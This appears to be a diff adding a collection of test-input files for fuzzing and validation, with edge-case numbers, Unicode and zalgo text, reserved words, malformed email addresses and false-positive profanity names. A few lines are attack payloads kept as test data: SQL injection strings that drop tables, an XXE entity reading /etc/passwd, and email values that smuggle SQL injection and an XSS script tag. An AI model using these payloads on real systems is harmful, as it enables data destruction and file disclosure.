+ 1;DROP TABLE users
2
+ 1'; DROP TABLE users-- 1
3
+ ' OR 1=1 -- 1
4
+ ' OR '1'='1
5
+ '; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
6
+
7
+ %
8
+ _
@@ -0,0 +1 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
@@ -0,0 +1,71 @@
1
+ 0
2
+ 1
3
+ 1.00
4
+ $1.00
5
+ 1/2
6
+ 1E2
7
+ 1E02
8
+ 1E+02
9
+ -1
10
+ -1.00
11
+ -$1.00
12
+ -1/2
13
+ -1E2
14
+ -1E02
15
+ -1E+02
16
+ 1/0
17
+ 0/0
18
+ -2147483648/-1
19
+ -9223372036854775808/-1
20
+ -0
21
+ -0.0
22
+ +0
23
+ +0.0
24
+ 0.00
25
+ 0..0
26
+ .
27
+ 0.0.0
28
+ 0,00
29
+ 0,,0
30
+ ,
31
+ 0,0,0
32
+ 0.0/0
33
+ 1.0/0.0
34
+ 0.0/0.0
35
+ 1,0/0,0
36
+ 0,0/0,0
37
+ --1
38
+ -
39
+ -.
40
+ -,
41
+ 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
42
+ NaN
43
+ Infinity
44
+ -Infinity
45
+ INF
46
+ 1#INF
47
+ -1#IND
48
+ 1#QNAN
49
+ 1#SNAN
50
+ 1#IND
51
+ 0x0
52
+ 0xffffffff
53
+ 0xffffffffffffffff
54
+ 0xabad1dea
55
+ 123456789012345678901234567890123456789
56
+ 1,000.00
57
+ 1 000.00
58
+ 1'000.00
59
+ 1,000,000.00
60
+ 1 000 000.00
61
+ 1'000'000.00
62
+ 1.000,00
63
+ 1 000,00
64
+ 1'000,00
65
+ 1.000.000,00
66
+ 1 000 000,00
67
+ 1'000'000,00
68
+ 01000
69
+ 08
70
+ 09
71
+ 2.2250738585072011e-308
@@ -0,0 +1,2 @@
1
+ 123
2
+ ١٢٣
@@ -0,0 +1,22 @@
1
+ Scunthorpe General Hospital
2
+ Penistone Community Church
3
+ Lightwater Country Park
4
+ Jimmy Clitheroe
5
+ Horniman Museum
6
+ shitake mushrooms
7
+ RomansInSussex.co.uk
8
+ http://www.cum.qc.ca/
9
+ Craig Cockburn, Software Specialist
10
+ Linda Callahan
11
+ Dr. Herman I. Libshitz
12
+ magna cum laude
13
+ Super Bowl XXX
14
+ medieval erection of parapets
15
+ evaluate
16
+ mocha
17
+ expression
18
+ Arsenal canal
19
+ classic
20
+ Tyson Gay
21
+ Dick Van Dyke
22
+ basement
@@ -0,0 +1,19 @@
1
+ undefined
2
+ undef
3
+ null
4
+ NULL
5
+ (null)
6
+ nil
7
+ NIL
8
+ true
9
+ false
10
+ True
11
+ False
12
+ TRUE
13
+ FALSE
14
+ None
15
+ hasOwnProperty
16
+ then
17
+ constructor
18
+ \
19
+ \\
@@ -0,0 +1,7 @@
1
+ ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
2
+ בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
3
+ הָיְתָהtestالصفحات التّحول
4
+
5
+
6
+ مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
7
+ الكل في المجمو عة (5)
@@ -0,0 +1,3 @@
1
+ Roses are red, violets are blue. Hope you enjoy terminal hue
2
+ But now...for my greatest trick...
3
+ The quick brown fox... [Beeeep]
@@ -0,0 +1,4 @@
1
+ ⁰⁴⁵
2
+ ₀₁₂
3
+ ⁰⁴⁵₀₁₂
4
+ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
@@ -0,0 +1,2 @@
1
+ 
2
+
@@ -0,0 +1,3 @@
1
+ 
2
+ €‚ƒ„†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ
3
+ ­؀؁؂؃؄؅؜۝܏᠎​‌‍‎‏‪‫‬‭‮⁠⁡⁢⁣⁤⁦⁧⁨⁩𑂽𛲠𛲡𛲢𛲣𝅳𝅴𝅵𝅶𝅷𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵󠀶󠀷󠀸󠀹󠀺󠀻󠀼󠀽󠀾󠀿󠁀󠁁󠁂󠁃󠁄󠁅󠁆󠁇󠁈󠁉󠁊󠁋󠁌󠁍󠁎󠁏󠁐󠁑󠁒󠁓󠁔󠁕󠁖󠁗󠁘󠁙󠁚󠁛󠁜󠁝󠁞󠁟󠁠󠁡󠁢󠁣󠁤󠁥󠁦󠁧󠁨󠁩󠁪󠁫󠁬󠁭󠁮󠁯󠁰󠁱󠁲󠁳󠁴󠁵󠁶󠁷󠁸󠁹󠁺󠁻󠁼󠁽󠁾󠁿
@@ -0,0 +1,8 @@
1
+ The quick brown fox jumps over the lazy dog
2
+ 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
3
+ 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
4
+ 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
5
+ 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
6
+ 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
7
+ 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
8
+ ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
@@ -0,0 +1,11 @@
1
+ '
2
+ "
3
+ ''
4
+ ""
5
+ '"'
6
+ "''''"'"
7
+ "'"'"''''"
8
+ <foo val=“bar” />
9
+ <foo val=“bar” />
10
+ <foo val=”bar“ />
11
+ <foo val=`bar' />
@@ -0,0 +1,2 @@
1
+ ᚛ᚄᚓᚐᚋᚒᚄ ᚑᚄᚂᚑᚏᚅ᚜
2
+ ᚛                 ᚜
@@ -0,0 +1,4 @@
1
+ ,./;'[]\-=
2
+ <>?:"{}|_+
3
+ !@#$%^&*()`~
4
+ گچپژ
@@ -0,0 +1,12 @@
1
+ Ω≈ç√∫˜µ≤≥÷
2
+ åß∂ƒ©˙∆˚¬…æ
3
+ œ∑´®†¥¨ˆøπ“‘
4
+ ¡™£¢∞§¶•ªº–≠
5
+ ¸˛Ç◊ı˜Â¯˘¿
6
+ ÅÍÎÏ˝ÓÔÒÚÆ☃
7
+ Œ„´‰ˇÁ¨ˆØ∏”’
8
+ `⁄€‹›fifl‡°·‚—±
9
+ ⅛⅜⅝⅞
10
+ ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
11
+ ٠١٢٣٤٥٦٧٨٩
12
+ 表ポあA鷗ŒéB逍Üߪąñ丂㐀𠀀
@@ -0,0 +1,5 @@
1
+ ‪‪test‪
2
+ ‫test‫
3
+ 
test

4
+ test⁠test‫
5
+ ⁦test⁧
@@ -0,0 +1,10 @@
1
+ 田中さんにあげて下さい
2
+ パーティーへ行かないか
3
+ 和製漢語
4
+ 部落格
5
+ 사회과학원 어학연구소
6
+ 찦차를 타고 온 펲시맨과 쑛다리 똠방각하
7
+ 社會科學院語學研究所
8
+ 울란바토르
9
+ 𠜎𠜱𠝹𠱓𠱸𠲖𠳏
10
+ 𐐜 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐙𐐊𐐡𐐝𐐓/𐐝𐐇𐐗𐐊𐐤𐐔 𐐒𐐋𐐗 𐐒𐐌 𐐜 𐐡𐐀𐐖𐐇𐐤𐐓𐐝 𐐱𐑂 𐑄 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆
@@ -0,0 +1,2 @@
1
+ ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
2
+ 00˙Ɩ$-
@@ -0,0 +1 @@
1
+ …             ​

   
@@ -0,0 +1,5 @@
1
+ Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
2
+ ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
3
+ ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
4
+ ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
5
+ Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
@@ -0,0 +1,26 @@
1
+ justastring
2
+ email@addrese.com;secondemail@address.com
3
+ @address.com
4
+ Jacco Van Tuijl <email@example.com>
5
+ email.address.com
6
+ email@address@example.com
7
+ .email@address.com
8
+ うえあいお@address.com
9
+ email.@address.com
10
+ email..email@address.com
11
+ email@address..com
12
+ email@address.com (Jacco van Tuijl)
13
+ email@-address.com
14
+ email@111.222.333.44444
15
+ Abc..123@address.com
16
+ “(),:;<>[\]@address.com
17
+ jacco"van"tuijl@address.com
18
+ jacco\ van"someting"tuijl\example@address.com
19
+ “email”@address.com
20
+ sql"or"1"="1"or"test@email.com
21
+ sql'or'1'='1'or'test@email.com
22
+ xss"><script>alert(1)</script><"test@address.com
23
+ a"b(c)d,e:f;g<h>i[j\k]l@example.com
24
+ this is"not\allowed@example.com
25
+ notallowed@example.com
26
+ notallowed@example.com